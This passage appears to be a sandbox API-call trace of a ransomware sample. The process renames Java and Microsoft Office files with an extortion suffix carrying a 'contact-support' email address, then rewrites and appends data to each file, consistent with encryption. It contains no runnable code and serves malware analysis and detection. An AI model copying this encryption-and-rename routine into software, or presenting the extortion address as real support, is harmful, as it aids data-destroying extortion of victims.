lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.237] WriteFile (in: hFile=0x698, lpBuffer=0x6f9bfd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f9bfd8*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.237] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.237] WriteFile (in: hFile=0x698, lpBuffer=0x6fa73d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa73d7*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.237] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.237] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.238] CloseHandle (hObject=0x698) returned 1 [0138.086] GetProcessHeap () returned 0x630000 [0138.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f9bfd8 | out: hHeap=0x630000) returned 1 [0138.086] GetProcessHeap () returned 0x630000 [0138.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f90ba8 | out: hHeap=0x630000) returned 1 [0138.086] GetProcessHeap () returned 0x630000 [0138.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0138.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1841bf3c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c702, dwReserved0=0xaf87496, dwReserved1=0x6f90ba0, cFileName="jce.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JCEJAR~1.FIR")) returned 0x6d5200 [0138.086] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.087] Sleep (dwMilliseconds=0x1) [0139.597] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx", len=0x52 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 1 [0139.597] GetProcessHeap () returned 0x630000 [0139.597] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a00) returned 0x72b0508 [0139.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0139.598] CloseHandle (hObject=0x6a0) returned 1 [0139.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0139.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0139.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafab, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="Inset.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INSETE~1.FIR")) returned 0x6d53c0 [0139.599] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0139.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0139.599] GetProcessHeap () returned 0x630000 [0139.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xafc1) returned 0x6ec0048 [0139.600] GetProcessHeap () returned 0x630000 [0139.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xafc1) returned 0x6fd2f28 [0139.600] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.600] ReadFile (in: hFile=0x6a0, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xafa0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x5d7ff0c*=0xafa0, lpOverlapped=0x0) returned 1 [0142.053] GetProcessHeap () returned 0x630000 [0142.053] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0142.053] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.054] WriteFile (in: hFile=0x6a0, lpBuffer=0x6fd2f28*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd2f28*, lpNumberOfBytesWritten=0x5d7ff0c*=0xafa0, lpOverlapped=0x0) returned 1 [0142.054] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.054] WriteFile (in: hFile=0x6a0, lpBuffer=0x6fddec7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fddec7*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.054] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.054] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.054] CloseHandle (hObject=0x6a0) returned 1 [0142.055] GetProcessHeap () returned 0x630000 [0142.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd2f28 | out: hHeap=0x630000) returned 1 [0142.274] GetProcessHeap () returned 0x630000 [0142.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0142.276] GetProcessHeap () returned 0x630000 [0142.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0142.276] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a9eefa6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xafcf, dwReserved0=0xaf87496, dwReserved1=0x6ec0040, cFileName="Inset.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INSETE~1.FIR")) returned 0x6d5580 [0142.277] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0142.277] Sleep (dwMilliseconds=0x1) [0142.286] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms", len=0x4e | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 1 [0142.286] GetProcessHeap () returned 0x630000 [0142.286] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1cb4) returned 0x7203db8 [0142.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0143.182] CloseHandle (hObject=0x718) returned 1 [0143.182] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.189] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.192] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe533c027, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe533c027, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe53d491f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2581, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="MondoVL_KMS_Client-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOV~2.FIR")) returned 0x6d4f00 [0143.192] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0143.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0143.196] GetProcessHeap () returned 0x630000 [0143.196] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x25a1) returned 0x72c2898 [0143.197] GetProcessHeap () returned 0x630000 [0143.197] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x25a1) returned 0x721128 [0143.197] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.197] ReadFile (in: hFile=0x718, lpBuffer=0x72c2898, nNumberOfBytesToRead=0x2580, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c2898*, lpNumberOfBytesRead=0x5d7ff0c*=0x2580, lpOverlapped=0x0) returned 1 [0143.607] GetProcessHeap () returned 0x630000 [0143.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0143.607] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.607] WriteFile (in: hFile=0x718, lpBuffer=0x721128*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721128*, lpNumberOfBytesWritten=0x5d7ff0c*=0x2580, lpOverlapped=0x0) returned 1 [0143.608] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.608] WriteFile (in: hFile=0x718, lpBuffer=0x7236a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7236a7*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.608] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.608] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.608] CloseHandle (hObject=0x718) returned 1 [0143.649] GetProcessHeap () returned 0x630000 [0143.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721128 | out: hHeap=0x630000) returned 1 [0143.649] GetProcessHeap () returned 0x630000 [0143.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72c2898 | out: hHeap=0x630000) returned 1 [0143.650] GetProcessHeap () returned 0x630000 [0143.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0143.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe533c027, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe533c027, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b8b4e10, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x25a5, dwReserved0=0xaf87496, dwReserved1=0x72c2890, cFileName="MondoVL_KMS_Client-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOV~2.FIR")) returned 0x6d5380 [0143.859] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0143.859] Sleep (dwMilliseconds=0x1) [0143.872] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", len=0x3e | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS") returned 1 [0143.872] GetProcessHeap () returned 0x630000 [0143.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2680) returned 0x71f7c78 [0143.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0145.433] CloseHandle (hObject=0x4e0) returned 1 [0145.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.950] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4b3103f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b3103f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPHH~1.FIR")) returned 0x6d5540 [0146.950] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0146.950] GetProcessHeap () returned 0x630000 [0146.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x730ba08 [0146.951] GetProcessHeap () returned 0x630000 [0146.951] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0146.952] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.952] ReadFile (in: hFile=0x4e0, lpBuffer=0x730ba08, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ba08*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.508] GetProcessHeap () returned 0x630000 [0154.508] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0154.508] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.508] WriteFile (in: hFile=0x4e0, lpBuffer=0x7001850*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesWritten=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.508] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.508] WriteFile (in: hFile=0x4e0, lpBuffer=0x700cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc4f*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.638] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.638] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.638] CloseHandle (hObject=0x4e0) returned 1 [0154.638] GetProcessHeap () returned 0x630000 [0154.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0154.638] GetProcessHeap () returned 0x630000 [0154.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ba08 | out: hHeap=0x630000) returned 1 [0154.638] GetProcessHeap () returned 0x630000 [0154.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0154.638] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4b3103f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b3103f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x221fa366, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x94da4, dwReserved0=0xaf87496, dwReserved1=0x730ba00, cFileName="GRAPH.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPHH~1.FIR")) returned 0x6d4ec0 [0154.638] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0154.638] Sleep (dwMilliseconds=0x1) [0154.762] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn", len=0x43 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn") returned 1 [0154.762] GetProcessHeap () returned 0x630000 [0154.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b64) returned 0x713f7f0 [0154.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0154.763] CloseHandle (hObject=0x694) returned 1 [0154.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_init.xsn.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xlate_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XLATE_~1.FIR")) returned 0x6d54c0 [0154.764] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0154.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_init.xsn.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 